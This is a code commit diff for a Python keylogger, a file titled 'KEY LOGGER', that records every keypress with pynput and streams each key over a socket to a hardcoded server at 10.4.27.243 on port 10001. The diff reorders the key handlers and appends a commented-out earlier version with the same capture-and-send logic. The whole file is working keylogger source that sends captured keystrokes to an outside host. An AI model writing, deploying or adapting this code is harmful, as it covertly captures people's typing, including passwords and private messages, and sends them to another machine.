Update 'Server/KEY LOGGER - Mirror - KEYBOARD- press.py'
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@ -23,7 +23,7 @@ BUFFER_SIZE = 128 # send 4096 bytes each time step
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host = "10.4.27.243"
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# the ip address or hostname of the server, the receiver
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# the port, let's use 5001
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port = 10003
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port = 10001
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# create the client socket
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s = socket.socket()
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@ -35,12 +35,12 @@ print("[+] Connected.")
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#-----------------------------------------------------------
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def on_release(key):
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def on_press(key):
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dataToSend = (('{}'.format(key)).replace("'", ""))
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dataToSendBytes = dataToSend.encode()
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s.sendall(dataToSendBytes)
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def on_press(key):
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def on_release(key):
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print("\n")
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@ -52,3 +52,68 @@ with keyboard.Listener(on_press = on_press, on_release = on_release) as listener
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#-----------------------------------------
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###Old, not based of working release
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# import socket
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# import os
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# from tkinter import *
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# from pynput import keyboard
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# #window = Tk()
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# #label = Label(window, text= 'What is the IP')
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# #entry = Entry(browser_window, width=200)
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# #entry.insert(END, IP)
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# #label.pack()
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# #entry.pack()
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# SEPARATOR = "<SEPARATOR>"
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# BUFFER_SIZE = 128 # send 4096 bytes each time step
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# host = "10.4.27.243"
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# # the ip address or hostname of the server, the receiver
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# # the port, let's use 5001
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# port = 10001
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# #IPfile = open("IPfile.txt", "w")
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# #text_file.write("¬")
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# #text_file.close()
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# # create the client socket
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# s = socket.socket()
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# print(f"[+] Connecting to {host}:{port}")
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# s.connect((host, port))
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# print("[+] Connected.")
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# #-----------------------------------------------------------
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# def on_press(key):
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# dataToSend = ""
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# dataToSend.write(('{}'.format(key)).replace("'", ""))
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# sendfile()
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# dataToSendBytes = dataToSend.encode()
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# s.sendall(dataToSendBytes)
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# with keyboard.Listener(
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# on_press = on_press) as listener:
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# listener.join()
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# #-----------------------------------------
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